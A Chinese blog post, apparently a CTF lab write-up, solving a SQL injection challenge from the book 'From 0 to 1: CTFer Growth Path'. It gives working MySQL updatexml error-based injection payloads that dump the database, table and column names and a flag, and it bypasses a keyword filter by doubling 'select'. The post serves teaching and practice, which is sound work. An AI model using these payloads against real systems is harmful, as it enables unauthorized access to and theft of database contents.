首页 > 数据库 >《从0到1:CTFer成长之路》题目-SQL注入-2

《从0到1:CTFer成长之路》题目-SQL注入-2

时间:2024-04-02 20:56:25浏览次数:19  
标签:题目 updatexml 0x7e 报错 CTFer --+ SQL php concat

《从0到1:CTFer成长之路》题目

SQL注入-2:

题目类型:web

题目描述:打开靶机,出现下面这种界面:

我们访问login.php:

我们再访问一下user.php:

解题方法:这里我们知道login.php是一个后台管理系统的登陆界面,user.php显示的是一句话,看了一下user.php的源码并没有发现什么有用的信息,根据题目意思是SQL注入,所以这里我们关注一下login.php

这里我们输入万能密码来测试一下:

再试了一下其他的条件,发现就只有两种报错,没有什么可以注入的显示位,然后我们查看一下它的源码:

很惊奇的发现在源码中我们得到一段很有用的信息:

然后使用burp发包,在url后面加入?tips = 1 开启mysql的错误提示

这么我们在name后面输入1‘ 得到了报错信息,但是只有报错信息,没有什么有用的回显信息,所以这里我们使用报错注入的方式:

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

我们构造payload来测试一下报错注入是否可行:

1'and updatexml(1,concat(0x7e,(select 1),0x7e),1)--+

成功,说明这里报错注入可行,然后现在就可以爆出它的数据库来:

报数据库名:

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

得到数据库名

爆数据库里面的表名:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

报错,没有得到想要的信息,但是我们这里的SQL语句没有问题,说明其中有关键字被过滤了,我们猜测是select,我们用大小写或者双写来试着给他绕过一下

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

成功,说明select被过滤了,我们用双写来进行绕过

得到了它的两个表名:fl4g和users ,这里很明显的发现我们的flag的信息在fl4g表中

爆出fl4g表中的字段名:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)--+

得到它的字段名为flag

最后一步爆出flag的内容:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(flag) from fl4g),0x7e),1)--+

得到flag:

n1book{login_sqli_is_nice}

标签:题目,updatexml,0x7e,报错,CTFer,--+,SQL,php,concat
From: https://www.cnblogs.com/xyweiwen/p/18111471

相关文章

  • MySQL、Redis 和 Zookeeper 实现分布式锁方法及优缺点
    MySQL、Redis和Zookeeper都可以用来实现分布式锁,每种技术都有其特定的实现方法以及各自的优缺点。MySQL分布式锁实现方法在MySQL中实现分布式锁通常涉及到使用数据库表。可以创建一个专用的锁表,并利用行的唯一性(例如利用唯一索引)来实现锁机制。使用基于事务的 FORUP......
  • Flink Sql 的查询
    一、DataGen& Print        (1)创建数据生成器源表CREATETABLEsource(    idINT,    tsBIGINT,    vcINT)WITH(    'connector'='datagen',    'rows-per-second'='1',    'fields.id.kind'='ran......
  • docker下mysql连接数修改后不生效问题的解决
    使用容器的方式使用mysql,在创建mysql容器的时候,映射了配置文件的路径(我映射的路径是:/home/env/mysql/config/),当修改了路径中配置文件中的最大连接数后,重启容器后,发现参数是不生效的情况,你遇到过吗?先说结果:是权限的问题,777权限会被mysql认为是安全的问题,忽略这种文件。具体如下:......
  • 配置Linux上的MySQL
    MySQL数据库环境搭建和编程MySQL环境安装设置ubuntu环境安装mysql-server和mysql开发包,包括mysql头文件和动态库文件,命令如下:sudoapt-getinstallmysql-server=》安装最新版MySQL服务器sudoapt-getinstalllibmysqlclient-dev=》安装开发包ubuntu默认安装最新的mysq......
  • mysql基于时间的盲注,使用python爆破库名
    mysql基于时间的盲注使用python代码进行爆破库名importrequestsimporttimes=requests.session()#创建session对象后,才可以调用对应的方法发送请求。url='http://192.168.2.101/sqli-labs-master/Less-9/?id='flag=''i=0whileTrue:i=i+1low......
  • 【附源码】JAVA计算机毕业设计智慧点餐系统(springboot+mysql+开题+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着信息技术的快速发展和互联网的普及,人们的生活方式发生了深刻的变化。特别是在餐饮行业,传统的点餐方式已经无法满足现代消费者对于便捷性、个性化......
  • java计算机毕业设计(附源码)医院新型冠状病毒疫苗接种管理系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义在当今全球疫情的背景下,新型冠状病毒疫苗的接种成为了防控疫情的重要手段。然而,由于疫苗接种人群广泛,且接种过程复杂,需要记录的信息量大,因此,传统的人工管理方式已......
  • java计算机毕业设计(附源码)医院薪酬管理系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在现代医疗体系中,医院作为提供专业医疗服务的核心机构,其运营效率和服务质量直接影响着公众健康和社会福祉。医院薪酬管理系统是确保医疗人员得到合理报酬......
  • java计算机毕业设计(附源码)医院药品管理系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义在当今社会,随着医疗技术的不断发展和人们健康意识的提高,医院药品管理系统的重要性日益凸显。药品管理作为医疗服务的核心环节之一,对于确保患者用药安全、提高医疗......
  • java计算机毕业设计(附源码)医院医疗救助系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:随着社会的发展和人口老龄化的加剧,医疗救助系统在现代社会中扮演着越来越重要的角色。医院作为医疗救助的主要场所,其系统的完善与否直接关系到广大人民群......